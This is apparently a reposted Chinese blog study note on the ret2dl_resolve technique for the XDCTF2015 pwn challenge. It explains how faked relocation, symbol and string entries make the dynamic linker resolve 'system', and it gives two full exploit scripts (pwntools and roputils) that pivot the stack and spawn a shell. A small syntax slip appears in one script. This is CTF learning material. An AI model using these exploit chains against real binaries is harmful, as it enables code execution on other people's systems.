Ret2dl_resolve学习笔记

ret2dl_resolve的原理:

 

动态链接相关函数_dl_runtime_resolve(link_map_obj, reloc_index)

功能:在第一次调用某函数时运行,绑定其地址到对应的GOT表项

第一个参数link_map_obj恒为GOT[1]的地址

第二个参数reloc_index为被绑定函数在.rel.plt段中的相对偏移

原理:

  1. 调用_dl_runtime_resolve,修改reloc_index,令其指向伪造在栈中的重定向表表项
  2. - 伪造重定向表表项,修改第二项中的符号表索引,令其指向伪造在栈中的符号表表项
  3. --伪造符号表表项,修改第一项(字符串表偏移),令其指向伪造在栈中的字符串(’system’)
  4. 令该函数的参数为写入在栈中的’/bin/sh\x00’的地址,即可getshell

 

ret2dl_resolve的前提:

 

1.非Full RELRO      -z lazy/norelro

2.无PIE              -no-pie

3.能够溢出           -fno-stack-protector

 

编译选项:gcc -m32 -fno-stack-protector -no-pie -z lazy main.c -o main

 

$ checksec main

 

RELRO            STACK CANARY      NX             PIE           

Partial RELRO   No canary found   NX enabled    No PIE         

 

重定向表:

 

$ readelf -r main

 

Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

08049ff4  00000306 R_386_GLOB_DAT    00000000   __gmon_start__

08049ff8  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0

08049ffc  00000806 R_386_GLOB_DAT    00000000   stdout@GLIBC_2.0

 

Relocation section '.rel.plt' at offset 0x324 contains 5 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0

0804a010  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0

0804a014  00000407 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0

0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

0804a01c  00000607 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0

 

符号表:

 

$ readelf --dyn-sym main

 

Symbol table '.dynsym' contains 10 entries:

   Num:    Value  Size Type    Bind   Vis      Ndx Name

     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND

     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.0 (2)

     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)

     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.0 (2)

     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)

     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)

     7: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdin@GLIBC_2.0 (2)

     8: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@GLIBC_2.0 (2)

     9: 0804866c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

 

EXP(pwntools):

 

from pwn import *

elf = ELF('main')

r = process('./main')

rop = ROP('./main')

 

offset = 112

bss_addr = elf.bss()

 

r.recvuntil('Welcome to XDCTF2015~!\n')

 

## stack pivoting to bss segment

## new stack size is 0x800

stack_size = 0x800

base_stage = bss_addr + stack_size

### padding

rop.raw('a' * offset)

### read 100 byte to base_stage

rop.read(0, base_stage, 100)

### stack pivoting, set esp = base_stage

#migrate = gadgets1: pop ebp     #stack: base_stage

#                    ret         #       gadgets2

#          gadgets2: mov ebp esp #       null

#                    pop ebp     #

#                    ret         #

 

rop.migrate(base_stage)

r.sendline(rop.chain())

 

## write sh="/bin/sh"

rop = ROP('./main')

sh = "/bin/sh"

 

plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

 

### making fake write symbol

fake_sym_addr = base_stage + 32

align = 0x10 - ((fake_sym_addr - dynsym) & 0xf

                )  # since the size of item(Elf32_Symbol) of dynsym is 0x10

fake_sym_addr = fake_sym_addr + align

index_dynsym = (

    fake_sym_addr - dynsym) / 0x10  # calculate the dynsym index of write

## plus 10 since the size of Elf32_Sym is 16.

st_name = fake_sym_addr + 0x10 - dynstr

fake_write_sym = flat([st_name, 0, 0, 0x12])

 

### making fake write relocation

 

## making base_stage+24 ---> fake reloc

index_offset = base_stage + 24 - rel_plt

write_got = elf.got['write']

r_info = (index_dynsym << 8) | 0x7

fake_write_reloc = flat([write_got, r_info])

 

rop.raw(plt0)

rop.raw(index_offset) #指向fake_write_reloc

## fake ret addr of write

rop.raw('bbbb')

rop.raw(base_stage + 82) #system的参数:’/bin/sh\x00’的地址

rop.raw('bbbb')

rop.raw('bbbb')

#r_info的索引指向fake_write_sym

rop.raw(fake_write_reloc)  # fake write reloc

rop.raw('a' * align)  # padding

#指向’system’

rop.raw(fake_write_sym)  # fake write symbol

rop.raw('system\x00'# there must be a \x00 to mark the end of string

rop.raw('a' * (80 - len(rop.chain())))

print rop.dump()

print len(rop.chain())

rop.raw(sh + '\x00')

rop.raw('a' * (100 - len(rop.chain())))

 

r.sendline(rop.chain())

r.interactive()

 

EXP(roputils):

 

from roputils import *

from pwn import process

from pwn import gdb

from pwn import context

r = process('./main')

context.log_level = 'debug'

r.recv()

 

rop = ROP('./main')

offset = 112

bss_base = rop.section('.bss')

buf = rop.fill(offset)

 

buf += rop.call('read', 0, bss_base, 100)

# used to call dl_Resolve()

buf += rop.dl_resolve_call(bss_base + 20, bss_base)

r.send(buf)

 

buf = rop.string('/bin/sh')

buf += rop.fill(20, buf)

# used to make faking data, such relocation, Symbol, Str

buf += rop.dl_resolve_data(bss_base + 20, 'system')

buf += rop.fill(100, buf)

r.send(buf)

r.interactive()

 

猜你喜欢

转载自blog.csdn.net/sopora/article/details/92590933
今日推荐